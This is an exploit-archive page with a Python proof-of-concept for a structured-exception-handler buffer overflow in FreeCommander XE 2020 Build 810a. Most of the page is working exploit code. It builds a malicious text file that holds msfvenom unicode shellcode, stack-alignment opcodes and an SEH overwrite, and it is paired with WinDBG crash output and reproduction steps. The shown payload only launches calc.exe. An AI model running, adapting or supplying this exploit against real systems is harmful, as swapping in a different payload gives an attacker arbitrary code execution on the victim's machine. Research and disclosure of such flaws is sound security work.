what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

FreeCommander XE 2020 Pathname Buffer Overflow

FreeCommander XE 2020 Pathname Buffer Overflow
Posted Mar 28, 2020
Authored by Hodorsec

FreeCommander XE 2020 Build 810a 32-bit suffers from a pathname buffer overflow vulnerability.

tags | exploit, overflow
SHA-256 | 60d82e33f0c7f4253ddc265c3479423769c54f1a48cc6ae26922cfd73df607d2

FreeCommander XE 2020 Pathname Buffer Overflow

Change Mirror Download
#!/usr/bin/python

# Exploit Title: FreeCommander XE 2020 - Pathname Buffer Overflow (SEH)
# Version: Build 810a 32-bit
# Software Link: https://freecommander.com/downloads/FreeCommanderXE-32-public_setup.zip
# Date: 2020-03-28
# Exploit Author: Hodorsec (hodor@hodorsec.com / hodorsec@protonmail.com)
# Vendor Homepage: https://www.freecommander.com
# Tested on: Win8.1 x64 - Build 9600

# Description:
# - Exploits the command / folder opener in the main window by entering an overly string and pressing enter: a crash will occur and the Structured Exception Handler kicks in (SEH overflown).
# - Some stack alignment was required, which eventually led to the ability of running shellcode.

# Reproduction:
# - Use indicated OS or manipulate settings for stack alignment: your mileage may vary due to different offsets on other Windows versions / SP's.
# - Run the script, a TXT file will be generated
# - On the Windows machine, open the TXT file in Wordpad. Copy and paste the output in the command / folder opener of FreeCommander
# - Check results

# WinDBG initial crash output:
# (db4.648): Access violation - code c0000005 (!!! second chance !!!)
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\ntdll.dll -
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\FreeCommander XE\FreeCommander.exe -
# eax=00000000 ebx=00000000 ecx=00410041 edx=77e8ffaf esi=00000000 edi=00000000
# eip=00410041 esp=00091620 ebp=00091640 iopl=0 nv up ei pl zr na pe nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
# FreeCommander+0x10041:
# 00410041 0064005c add byte ptr [eax+eax+5Ch],ah ds:002b:0000005c=??

import sys, struct

# Filename
filename = "win8_freecommander_poc.txt"

# Maximum length
maxlen = 2000

# Shellcode
# msfvenom -p windows/exec cmd=calc.exe -e x86/unicode_mixed -b "\x00\x0a\x0d" bufferregister=eax
# Payload size: 512 bytes
shellcode = (
"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBYlzHTBypkPm0aP2ixep190bDTKnpP0bk0RJl4Kobn44KbRKxjoFW0Jo6p1KODlml1Q3LlBNLKpy1XOLMm1UwgrzR1Br7tKobzp2k0JmlDKNlJq2XySPHzaHQR1bkaImPIqWc2k0In8jCmjMyRknT2kzaZ6maIo4leq6ozmm1i7NX7pPul6JccMzXmk3MKtSEhdnxTKb8ldza6srFBklLPKbkqHMLKQhSbkM4dKIqVp1ymtmTldokokQQaIoj21yoK01OOoPZDKzrxkDM1MaZZa4M55UbM0ipkPr0S8nQRkROu7KOWeukHpTuFB1F2HvFBuWMuMio6umlM6CLZjQpIk7pRUlEWKa7mCsBrO1ZypR3ioxU0cS12LosnNpet80eM0AA"
)

# Offsets
seh = 522
nseh = seh - 2

# Venetian NOP
nop = "\x45"

# Aligning EBP with buffer
# ESP being closest to buffer
# ESP = 0018ecc4, Buffer = 0018fb5f: Buffer - ESP = 0x0e9b
align_esp = ( "\x54" # PUSH ESP
+ nop + # Padding
"\x58" # POP EAX
+ nop + # Padding
"\x05\x11\x11" # "\x05\x00\x10\x00\x11" # 0500100011 add eax,0x11001000 --\
+ nop + # Padding |--> Adds 0x0f00 bytes
"\x2d\x02\x11" # "\x2d\x00\x01\x00\x11" # 2d00010011 sub eax,0x11000100 --/
+ nop + # Padding
"\x40" # INC EAX # Added due to one-off unicode byte
+ nop + # Padding
"\x50" # PUSH EAX
+ nop + # Padding
"\xc3" # RET
)

# Prefix
prefix = "A" * seh # Fill junk
# NSEH/SEH
nseh = "\x41\x45" # NOP --> INC ECX # ADD [EBP], AL
seh = "\x71\x4c" # POP POP RET
# Suffix
suffix = nop * 3 # Align
suffix += align_esp # Align registers; EAX for executing shellcode
suffix += nop * 48 # Nopping until buffer
suffix += shellcode # Do some magic
suffix += "D" * (maxlen - len(prefix + nseh + seh + suffix)) # Fill junk

# Concatenate string for payload
payload = prefix + nseh + seh + suffix # Put it all together

try:
file = open(filename,"wb")
file.write(payload)
file.close()
print "[+] File " + filename + " with size of " + str(len(payload)) + " created successfully"
except:
print "[!] Error creating file!"
sys.exit(0)

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close